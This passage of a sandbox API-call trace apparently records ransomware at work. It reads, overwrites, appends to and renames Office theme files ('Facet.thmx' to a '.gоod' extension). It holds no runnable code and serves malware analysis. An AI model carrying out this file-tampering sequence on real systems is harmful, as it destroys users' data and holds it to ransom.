ftLastWriteTime.dwLowDateTime=0x115b4243, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd322a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slice.thmx", cAlternateFileName="SLICE~1.THM")) returned 1 [0130.215] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Colors", cAlternateFileName="THEMEC~1")) returned 1 [0130.215] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0130.215] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0130.215] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1 [0130.215] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.215] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed450) returned 1 [0130.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed410) returned 1 [0130.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed510) returned 1 [0130.215] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16", nBufferLength=0x105, lpBuffer=0x200ecfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16", lpFilePart=0x0) returned 0x39 [0130.216] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\*", lpFindFileData=0x200ed230 | out: lpFindFileData=0x200ed230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.216] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.216] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11161e0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb447d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Facet.thmx", cAlternateFileName="FACET~1.THM")) returned 1 [0130.216] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3495ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integral.thmx", cAlternateFileName="INTEGR~1.THM")) returned 1 [0130.216] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11161e0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11161e0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1855eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ion Boardroom.thmx", cAlternateFileName="IONBOA~1.THM")) returned 1 [0130.216] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1118806a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1118806a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x111ae2aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c09db, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ion.thmx", cAlternateFileName="ION~1.THM")) returned 1 [0130.217] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1118806a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1118806a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x111fa76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f98b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Theme.thmx", cAlternateFileName="OFFICE~1.THM")) returned 1 [0130.217] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x111d450b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x111d450b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84d621, dwReserved0=0x0, dwReserved1=0x0, cFileName="Organic.thmx", cAlternateFileName="ORGANI~1.THM")) returned 1 [0130.217] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1160070a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18c4dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Retrospect.thmx", cAlternateFileName="RETROS~1.THM")) returned 1 [0130.217] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115b4243, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd322a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slice.thmx", cAlternateFileName="SLICE~1.THM")) returned 1 [0130.217] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Colors", cAlternateFileName="THEMEC~1")) returned 1 [0130.217] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0130.217] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0130.218] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1 [0130.218] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 0 [0130.218] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed450) returned 1 [0130.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed410) returned 1 [0130.218] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx", lpFilePart=0x0) returned 0x44 [0130.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed2c0) returned 1 [0130.218] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\facet.thmx"), fInfoLevelId=0x0, lpFileInformation=0x35c3598 | out: lpFileInformation=0x35c3598*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11161e0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb447d)) returned 1 [0130.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed280) returned 1 [0131.668] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx", lpFilePart=0x0) returned 0x44 [0131.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0131.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\facet.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0131.702] GetFileType (hFile=0x63c) returned 0x1 [0131.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0131.703] GetFileType (hFile=0x63c) returned 0x1 [0131.703] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x1000 [0131.703] ReadFile (in: hFile=0x63c, lpBuffer=0x38d2e68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed2e8, lpOverlapped=0x0 | out: lpBuffer=0x38d2e68*, lpNumberOfBytesRead=0x200ed2e8*=0x1000, lpOverlapped=0x0) returned 1 [0131.704] CloseHandle (hObject=0x63c) returned 1 [0131.704] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx", lpFilePart=0x0) returned 0x44 [0131.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0131.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\facet.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0131.704] GetFileType (hFile=0x63c) returned 0x1 [0131.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0131.704] GetFileType (hFile=0x63c) returned 0x1 [0131.705] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0xb447d [0131.705] WriteFile (in: hFile=0x63c, lpBuffer=0x38d4290*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ed208, lpOverlapped=0x0 | out: lpBuffer=0x38d4290*, lpNumberOfBytesWritten=0x200ed208*=0x10, lpOverlapped=0x0) returned 1 [0131.706] CloseHandle (hObject=0x63c) returned 1 [0131.707] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx", lpFilePart=0x0) returned 0x44 [0131.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0131.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\facet.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0131.707] GetFileType (hFile=0x63c) returned 0x1 [0131.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0131.707] GetFileType (hFile=0x63c) returned 0x1 [0131.707] ReadFile (in: hFile=0x63c, lpBuffer=0x38d6548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed298, lpOverlapped=0x0 | out: lpBuffer=0x38d6548*, lpNumberOfBytesRead=0x200ed298*=0x1000, lpOverlapped=0x0) returned 1 [0132.112] CloseHandle (hObject=0x63c) returned 1 [0132.113] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx", lpFilePart=0x0) returned 0x44 [0132.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0132.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\facet.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0132.113] GetFileType (hFile=0x63c) returned 0x1 [0132.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0132.113] GetFileType (hFile=0x63c) returned 0x1 [0132.113] WriteFile (in: hFile=0x63c, lpBuffer=0x36166f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ed348, lpOverlapped=0x0 | out: lpBuffer=0x36166f8*, lpNumberOfBytesWritten=0x200ed348*=0x1010, lpOverlapped=0x0) returned 1 [0132.113] CloseHandle (hObject=0x63c) returned 1 [0132.113] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx", lpFilePart=0x0) returned 0x44 [0132.113] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx.gоod", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx.gоod", lpFilePart=0x0) returned 0x49 [0132.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed280) returned 1 [0132.113] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\facet.thmx"), fInfoLevelId=0x0, lpFileInformation=0x200ed360 | out: lpFileInformation=0x200ed360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4af4e2f4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb448d)) returned 1 [0132.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed240) returned 1 [0132.113] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\facet.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\facet.thmx.gоod")) returned 1 [0132.114] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx", lpFilePart=0x0) returned 0x47 [0132.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed2c0) returned 1 [0132.114] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\integral.thmx"), fInfoLevelId=0x0, lpFileInformation=0x37b2ee0 | out: lpFileInformation=0x37b2ee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3495ac)) returned 1 [0132.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed280) returned 1 [0132.115] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx", lpFilePart=0x0) returned 0x47 [0132.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0132.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\integral.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0132.115] GetFileType (hFile=0x63c) returned 0x1 [0132.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0132.115] GetFileType (hFile=0x63c) returned 0x1 [0132.115] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x1000 [0132.115] ReadFile (in: hFile=0x63c, lpBuffer=0x37b32f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed2e8, lpOverlapped=0x0 | out: lpBuffer=0x37b32f8*, lpNumberOfBytesRead=0x200ed2e8*=0x1000, lpOverlapped=0x0) returned 1 [0132.116] CloseHandle (hObject=0x63c) returned 1 [0132.116] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx", lpFilePart=0x0) returned 0x47 [0132.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0132.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\integral.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0132.117] GetFileType (hFile=0x63c) returned 0x1 [0132.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0132.117] GetFileType (hFile=0x63c) returned 0x1 [0132.117] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x3495ac [0132.117] WriteFile (in: hFile=0x63c, lpBuffer=0x37b47e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ed208, lpOverlapped=0x0 | out: lpBuffer=0x37b47e0*, lpNumberOfBytesWritten=0x200ed208*=0x10, lpOverlapped=0x0) returned 1 [0132.119] CloseHandle (hObject=0x63c) returned 1 [0132.119] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx", lpFilePart=0x0) returned 0x47 [0132.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0132.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\integral.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0132.119] GetFileType (hFile=0x63c) returned 0x1 [0132.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0132.119] GetFileType (hFile=0x63c) returned 0x1 [0132.119] ReadFile (in: hFile=0x63c, lpBuffer=0x37b6af0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed298, lpOverlapped=0x0 | out: lpBuffer=0x37b6af0*, lpNumberOfBytesRead=0x200ed298*=0x1000, lpOverlapped=0x0) returned 1 [0133.071] CloseHandle (hObject=0x63c) returned 1 [0133.071] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx", lpFilePart=0x0) returned 0x47 [0133.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0133.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\integral.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 